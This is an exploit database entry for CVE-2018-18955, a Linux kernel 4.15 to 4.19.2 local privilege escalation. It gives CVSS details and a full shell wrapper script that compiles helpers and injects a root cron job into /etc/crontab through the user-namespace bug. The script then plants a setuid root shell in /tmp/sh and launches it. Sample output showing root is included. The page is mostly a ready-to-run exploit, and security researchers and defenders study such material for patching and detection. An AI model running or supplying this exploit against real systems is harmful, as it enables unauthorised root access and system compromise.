Linux Kernel 4.15.x < 4.19.2 map_write() CAP_SYS_ADMIN Local Privilege Escalation (cron Method)

2019.07.31
Credit: Jann
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 4.4/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/bin/sh # # EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47164.zip # # wrapper for Jann Horn's exploit for CVE-2018-18955 # uses crontab technique # --- # test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh # [*] Compiling... # [*] Writing payload to /tmp/payload... # [*] Adding cron job... (wait a minute) # [.] starting # [.] setting up namespace # [~] done, namespace sandbox set up # [.] mapping subordinate ids # [.] subuid: 165536 # [.] subgid: 165536 # [~] done, mapped subordinate ids # [.] executing subshell # [+] Success: # -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh # [*] Cleaning up... # [!] Remember to clean up /etc/crontab # [*] Launching root shell: /tmp/sh # root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id # uid=0(root) gid=0(root) groups=0(root),1001(test) rootshell="/tmp/sh" bootstrap="/tmp/payload" command_exists() { command -v "${1}" >/dev/null 2>/dev/null } if ! command_exists gcc; then echo '[-] gcc is not installed' exit 1 fi if ! command_exists /usr/bin/newuidmap; then echo '[-] newuidmap is not installed' exit 1 fi if ! command_exists /usr/bin/newgidmap; then echo '[-] newgidmap is not installed' exit 1 fi if ! test -w .; then echo '[-] working directory is not writable' exit 1 fi echo "[*] Compiling..." if ! gcc subuid_shell.c -o subuid_shell; then echo 'Compiling subuid_shell.c failed' exit 1 fi if ! gcc subshell.c -o subshell; then echo 'Compiling gcc_subshell.c failed' exit 1 fi if ! gcc rootshell.c -o "${rootshell}"; then echo 'Compiling rootshell.c failed' exit 1 fi echo "[*] Writing payload to ${bootstrap}..." echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap /bin/chmod +x "${bootstrap}" echo "[*] Adding cron job... (wait a minute)" echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell sleep 60 if ! test -u "${rootshell}"; then echo '[-] Failed' /bin/rm "${rootshell}" /bin/rm "${bootstrap}" exit 1 fi echo '[+] Success:' ls -la "${rootshell}" echo '[*] Cleaning up...' /bin/rm "${bootstrap}" /bin/rm subuid_shell /bin/rm subshell if command_exists /bin/sed; then echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell else echo "[!] Manual clean up of /etc/crontab required" fi echo "[*] Launching root shell: ${rootshell}" $rootshell


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